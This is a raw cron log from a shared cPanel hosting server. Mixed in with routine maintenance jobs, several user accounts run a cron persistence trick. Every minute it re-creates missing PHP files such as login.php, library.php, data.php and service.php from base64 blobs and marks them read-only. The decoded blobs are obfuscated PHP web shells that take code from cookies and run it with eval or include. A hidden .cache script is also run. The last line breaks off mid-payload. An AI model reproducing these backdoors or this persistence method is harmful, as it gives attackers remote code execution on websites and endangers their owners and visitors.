Jun  7 04:19:01 medusa CROND[6375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:19:01 medusa CROND[6377]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:19:01 medusa CROND[6378]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:19:01 medusa CROND[6380]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:19:01 medusa CROND[6381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:19:01 medusa CROND[6384]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:19:01 medusa CROND[6385]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:19:01 medusa CROND[6386]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:19:01 medusa CROND[6388]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:19:01 medusa CROND[6387]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:19:01 medusa CROND[6391]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:20:01 medusa CROND[8122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 04:20:01 medusa CROND[8138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:20:01 medusa CROND[8141]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:20:01 medusa CROND[8142]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 04:20:01 medusa CROND[8153]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:20:02 medusa CROND[8160]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8161]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:20:02 medusa CROND[8162]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 04:20:02 medusa CROND[8164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:20:02 medusa CROND[8165]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:20:02 medusa CROND[8166]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:20:02 medusa CROND[8168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:20:02 medusa CROND[8171]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 04:20:02 medusa CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:20:02 medusa CROND[8178]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 04:20:02 medusa CROND[8182]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8183]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:20:02 medusa CROND[8185]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:20:02 medusa CROND[8186]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:20:02 medusa CROND[8189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:20:02 medusa CROND[8190]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:20:02 medusa CROND[8194]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8195]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:20:02 medusa CROND[8180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8199]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:20:02 medusa CROND[8201]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:20:02 medusa CROND[8187]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 04:20:02 medusa CROND[8191]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 04:21:01 medusa CROND[9884]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:21:01 medusa CROND[9887]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:21:02 medusa CROND[9895]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAg